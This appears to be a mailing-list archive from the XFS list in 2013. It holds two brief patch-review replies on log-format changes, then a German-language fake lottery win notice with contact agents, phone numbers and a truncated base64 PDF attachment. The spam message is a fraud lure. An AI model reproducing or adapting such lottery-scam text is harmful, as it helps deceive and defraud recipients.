david@fromorbit.com Tue Dec 3 18:44:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3A04C7F3F for ; Tue, 3 Dec 2013 18:44:46 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0E5E78F8039 for ; Tue, 3 Dec 2013 16:44:45 -0800 (PST) X-ASG-Debug-ID: 1386117883-04cbb041684e6f70001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id GlhRNqV8gUweAuqm for ; Tue, 03 Dec 2013 16:44:44 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AloHAA56nlJ5LHyk/2dsb2JhbABagweDMbB2hU+BGxd0giUBAQU6HCMQCAMOCgklDwUlAyETiADBYRaOaAeEMwOYE5IUgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 04 Dec 2013 11:14:41 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vo0Zy-0002e5-J9; Wed, 04 Dec 2013 11:44:38 +1100 Date: Wed, 4 Dec 2013 11:44:38 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 08/10] xfs: remove the inode log format from the inode log item Message-ID: <20131204004438.GG10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 08/10] xfs: remove the inode log format from the inode log item References: <20131129083919.207915844@bombadil.infradead.org> <20131129084001.431063269@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131129084001.431063269@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386117883 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142822 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Nov 29, 2013 at 12:39:27AM -0800, Christoph Hellwig wrote: > No need to keep the inode log format around all the time, we can easily > generate it at iop_format time. > > Signed-off-by: Christoph Hellwig Ignoring the previously mentioned structure alignment issue, this change looks good. Overall, the inode log item is reduced in size by about 72 bytes. :) Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Dec 3 18:47:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7C26E7F3F for ; Tue, 3 Dec 2013 18:47:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0B720AC002 for ; Tue, 3 Dec 2013 16:47:22 -0800 (PST) X-ASG-Debug-ID: 1386118041-04bdf06eef4ec620001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id ALyXdNb1vUPEky2L for ; Tue, 03 Dec 2013 16:47:21 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AloHADp7nlJ5LHyk/2dsb2JhbABagweDMbB2hU+BGxd0giUBAQU6HCMQCAMOCgklDwUlAyETiADBSRcWjmgHhDMDmBOSFIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 04 Dec 2013 11:17:08 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vo0cM-0002eH-ND; Wed, 04 Dec 2013 11:47:06 +1100 Date: Wed, 4 Dec 2013 11:47:06 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 09/10] xfs: remove the dquot log format from the dquot log item Message-ID: <20131204004706.GH10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 09/10] xfs: remove the dquot log format from the dquot log item References: <20131129083919.207915844@bombadil.infradead.org> <20131129084001.650006317@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131129084001.650006317@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386118041 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142822 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Nov 29, 2013 at 12:39:28AM -0800, Christoph Hellwig wrote: > No need to keep the dquot log format around all the time, we can easily > generate it at iop_format time. > > Signed-off-by: Christoph Hellwig looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From antonio.blanco1@aol.com Tue Dec 3 18:48:33 2013 Return-Path: X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id ACBD57F3F for ; Tue, 3 Dec 2013 18:48:33 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id CF30930408F for ; Tue, 3 Dec 2013 16:48:26 -0800 (PST) X-ASG-Debug-ID: 1386118098-04bdf06eef4ec6d0001-w1Z2WR Received: from mail.kaka.com ([168.62.164.138]) by cuda.sgi.com with ESMTP id QKkDHVYz4ALGeeQy for ; Tue, 03 Dec 2013 16:48:19 -0800 (PST) X-Barracuda-Envelope-From: antonio.blanco1@aol.com X-Barracuda-Apparent-Source-IP: 168.62.164.138 Received: from [168.62.164.138] (localhost [IPv6:::1]) by mail.kaka.com (Postfix) with ESMTP id 54E80E1B59; Tue, 3 Dec 2013 20:32:21 +0000 (UTC) Received: from 31.4.245.143 (SquirrelMail authenticated user admin) by 168.62.164.138 with HTTP; Tue, 3 Dec 2013 20:32:21 -0000 Message-ID: <4224f504e9c1d0a0eda7ad67673779fb.squirrel@168.62.164.138> Date: Tue, 3 Dec 2013 20:32:21 -0000 Subject: Offizielle Gewinnbenachrichtigung From: "Snr. Antonio Blanco" X-ASG-Orig-Subj: Offizielle Gewinnbenachrichtigung Reply-To: winseguros3@aol.com User-Agent: SquirrelMail/1.4.22 MIME-Version: 1.0 Content-Type: multipart/mixed;boundary="----=_20131203203221_37283" X-Priority: 3 (Normal) Importance: Normal To: undisclosed-recipients:; X-Barracuda-Connect: UNKNOWN[168.62.164.138] X-Barracuda-Start-Time: 1386118099 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 ------=_20131203203221_37283 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit -- Achtung: ffnen Sie bitte das beigefgte Dokument zum Abrufen ihrer Nachrichten Danke mfg Don Antonio Blanco Alle Korrespondenten an, Don Juan Gomez (agent) Win Seguros Email: ddongomez@gmail.com, oder juan.gomez@spainmail.com Tel: 0034 631 547 811 Fax: 0034 917 693 077 ***************************************** Der Austausch von Nachrichten per e-mail dient ausschlielich zu Informationszwecken. Deshalb nehmen wir keine rechtlichen Erklrungen des Absenders per e-mail. Die Informationen in dieser Nachricht ist vertraulich und ausschlielich fr den Adressaten. Wenn sich der Empfnger dieser Nachricht ist nicht der Adressat, einer seiner Mitarbeiter oder sein bevollmchtigter Vertreter, der Empfnger wird hiermit darauf aufmerksam gemacht, dass er/sie sich nicht mit den Inhalten, offenlegen oder reproduzieren ihren Inhalt. Wenn Sie diese Meldung irrtmlich erhalten haben, benachrichtigen Sie bitte den Absender sofort und lschen Sie die Nachricht von Ihrem System. *********************** Alle Warenzeichen sind Eigentum der jeweiligen Inhaber. >Copyright 2010-2013. Alle Rechte vorbehalten ------=_20131203203221_37283 Content-Type: application/pdf; name="c.g.euromilion.pdf" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="c.g.euromilion.pdf" JVBERi0xLjUNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUGFnZXMgMiAwIFIvTGFu Zyhlbi1VUykgPj4NCmVuZG9iag0KMiAwIG9iag0KPDwvVHlwZS9QYWdlcy9Db3VudCAxL0tpZHNb IDMgMCBSXSA+Pg0KZW5kb2JqDQozIDAgb2JqDQo8PC9UeXBlL1BhZ2UvUGFyZW50IDIgMCBSL1Jl c291cmNlczw8L1hPYmplY3Q8PC9JbWFnZTQgNCAwIFIvSW1hZ2U3IDcgMCBSL0ltYWdlOSA5IDAg Ui9JbWFnZTExIDExIDAgUi9JbWFnZTEzIDEzIDAgUi9JbWFnZTE3IDE3IDAgUi9JbWFnZTcwIDcw IDAgUi9JbWFnZTcxIDcxIDAgUi9JbWFnZTczIDczIDAgUi9JbWFnZTc0IDc0IDAgUi9JbWFnZTc1 IDc1IDAgUj4+L0V4dEdTdGF0ZTw8L0dTMTUgMTUgMCBSL0dTMTYgMTYgMCBSL0dTMzcgMzcgMCBS Pj4vRm9udDw8L0YxIDE4IDAgUi9GMiAyMCAwIFIvRjMgMjIgMCBSL0Y0IDI0IDAgUi9GNSAyNiAw IFIvRjYgMjggMCBSL0Y3IDMwIDAgUi9GOCAzMiAwIFI+Pi9QYXR0ZXJuPDwvUDM5IDM5IDAgUi9Q NDEgNDEgMCBSL1A0MyA0MyAwIFIvUDQ1IDQ1IDAgUi9QNDcgNDcgMCBSL1A0OSA0OSAwIFIvUDUx IDUxIDAgUi9QNTMgNTMgMCBSL1A1NSA1NSAwIFIvUDU3IDU3IDAgUi9QNTkgNTkgMCBSL1A2MSA2 MSAwIFIvUDYzIDYzIDAgUi9QNjUgNjUgMCBSL1A2NyA2NyAwIFIvUDY5IDY5IDAgUj4+L1Byb2NT ZXRbL1BERi9UZXh0L0ltYWdlQi9JbWFnZUMvSW1hZ2VJXSA+Pi9NZWRpYUJveFsgMCAwIDU5NS4z MiA4NDEuOTJdIC9Db250ZW50cyA2IDAgUi9Hcm91cDw8L1R5cGUvR3JvdXAvUy9UcmFuc3BhcmVu Y3kvQ1MvRGV2aWNlUkdCPj4vVGFicy9TPj4NCmVuZG9iag0KNCAwIG9iag0KPDwvVHlwZS9YT2Jq ZWN0L1N1YnR5cGUvSW1hZ2UvV2lkdGggMjIxL0hlaWdodCAxMTgvQ29sb3JTcGFjZS9EZXZpY2VS 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 eb3aNjUUB5YJOyiTzCQs1mPGQ4m7eR/K9mvwvuBtQwf05izcw57DeHTy/qc4nzzsHn+5l5bHjtkL cNC4bKIgLY+Iv1DLJyGf275ByR/SN6z5qO7J+Li8OJtSvcsw5cv0xT8SJwyp+0DSjZfV2fmYrjkc c/jNS2109/jjHm2VSvVCfXyaqYGMEOT2OC3Lli8Bg1GWe2vM804Tpozker1uqnPvUXo5kuPyWC07 Wkz6EyDr5Gx5Z5Jj/eJacra8M14mZ1/LoB57oFd+k5ZB8EGLzWMDl+ZwtmzW5jVKkkCdZv9XHPUQ OEGVXi3jmWf+c9e/V976LA+0Zep9NKr7tZjtftWylpTfk9rmDh2yV6Dm0A6u1bL4v4dZlzlbIK+l F5sXT7x3cn5+owpUi4Jik/9nDWw81HIX1hwGt3epQQwKjMyW8O+fxC2Oa1nLNH90PeV+9CtXDTJC Zq7wxiWzJamlN8R248ryPsprWf+TlPUq2f26iDdLFmq5Ezbb3kZv3OUo30HLGnYwP6tZtzjnmdDV ZPebEZIRZnTVWRI3+q1/fCweZW+MmqcN8SIul8tAy6AGL2A4Mdq7vSZfy4OH61VQQ7De/1t2ulvf GyZ7Orf13DL+62oZJ2HA7+/vye5Ty0OBC1a5r5awWFOteLa0Ad9nET9giF4ROwTeYNktzdqSi7id KuWcWf4uypm73iZx3QEjyfR0REuaOQ7MLaQg5STr8te9iHstqr+vayv3ptOCtFR/Z3Wk+1N4OyQZ IXkO5o2LZJOWu7RY0FdOcm+ziUEtYW3Uchy4tHnjUsKhOWi2zDgAi8WHq0oywSTjoZbjyDRKVcrt EFwul+J/Jz7dfi9sBwu2mzHBa0sGH7crtwcnnOrwgk6ka0PwYwQVDyGEEEIIIYQQQgghhBBCCCGE EEIIIU/BTI7n0YOM+Q97zcW/DQplbmRzdHJlYW0NCmVuZG9iag0KNSAwIG9iag0KPDwvVHlwZS9Y T2JqZWN0L1N1YnR5cGUvSW1hZ2UvV2lkdGggMjIxL0hlaWdodCAxMTgvQ29sb3JTcGFjZS9EZXZp Y2VHcmF5L01hdHRlWyAwIDAgMF0gL0JpdHNQZXJDb21wb25lbnQgOC9JbnRlcnBvbGF0ZSBmYWxz ZS9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDEwMzU+Pg0Kc3RyZWFtDQp4nO2a63aEMAiEef+X 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 